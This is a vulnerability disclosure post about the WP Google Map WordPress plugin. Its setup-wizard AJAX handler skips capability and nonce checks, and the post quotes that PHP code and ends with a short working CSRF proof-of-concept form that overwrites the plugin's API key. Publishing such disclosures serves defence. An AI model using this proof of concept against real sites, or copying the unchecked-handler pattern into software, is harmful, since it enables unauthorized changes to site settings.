Privilege Escalation Vulnerability in WP Google Map
The changelog for the latest version of the WordPress plugin WP Google Map is:
Security improvement
Our monitoring alerted us to that new version, due to the mention of a security fix, and we then went to check if we should warn customers of our service using that plugin about a vulnerability that had been fixed.
The changes made in that version looked like they could be fixing a vulnerability. Upon installing the previous version of the plugin to test that out, we noticed there was a vulnerability that wasn’t addressed in the new version. (It doesn’t look like the change made would fix a vulnerability, but did improve security.)
The plugin is lacking basic security checks for code that runs through WordPress’ AJAX functionality, so anyone logged in to WordPress can take actions intended to be done by Administrators. Through cross-site request forgery (CSRF), an attacker could also cause someone else logged in to WordPress to take them.
That is easy to spot, so despite the plugin having 30,000+ installations according to wordpress.org, it would appear it hasn’t received a cursory security check, much less a more complete security review of the plugin.
Where we first noticed this was with the plugin’s setup wizard. Access to the page for that is limited to Administrators:
30 | add_submenu_page('wpgmapembed', __("Quick Setup", "gmap-embed"), __("Quick Setup", "gmap-embed"), 'administrator', 'wgm_setup_wizard', array( |
The saving of the settings handle by the setup wizard is the function wpgmap_save_setup_wizard(), which is accessible to anyone logged in to WordPress through its AJAX functionality:
30 | add_action( 'wp_ajax_wpgmapembed_save_setup_wizard', array( $this, 'wpgmap_save_setup_wizard' ) ); |
That function, which is located in the file /includes/traits/SetupWizard.php, doesn’t do a capabilities check, to limit access to Administrators, or a nonce check to prevent cross-site request forgery (CSRF):
21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | public function wpgmap_save_setup_wizard() { $customer_consent = isset($_POST['wgm_customer_consent']) ? $_POST['wgm_customer_consent'] : '0'; $api_key = isset($_POST['wgm_api_key']) ? $_POST['wgm_api_key'] : ''; $language = isset($_POST['wgm_language']) ? $_POST['wgm_language'] : ''; $regional_area = isset($_POST['wgm_regional_area']) ? $_POST['wgm_regional_area'] : ''; if (empty($api_key)) { $response = array('responseCode' => 101); echo json_encode($response); die(); } if (empty($language)) { $response = array('responseCode' => 102); echo json_encode($response); die(); } if (empty($regional_area)) { $response = array('responseCode' => 103); echo json_encode($response); die(); } update_option('_wgm_customer_consent', $customer_consent, 'yes'); update_option('wpgmap_api_key', $api_key, 'yes'); update_option('srm_gmap_lng', $language, 'yes'); update_option('srm_gmap_region', $regional_area, 'yes'); $response = array('responseCode' => 200); echo json_encode($response); die(); } |
Security code in the plugin does limits the damage that could be done with that vulnerability.
WordPress Causes Full Disclosure
Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.) You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will change the API Key setting to “proof of concept”, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wpgmapembed_save_setup_wizard" method="POST"> <input type="hidden" name="wgm_api_key" value="proof of concept" /> <input type="hidden" name="wgm_language" value="en" /> <input type="hidden" name="wgm_regional_area" value="US" /> <input type="submit" value="Submit" /> </form> </body>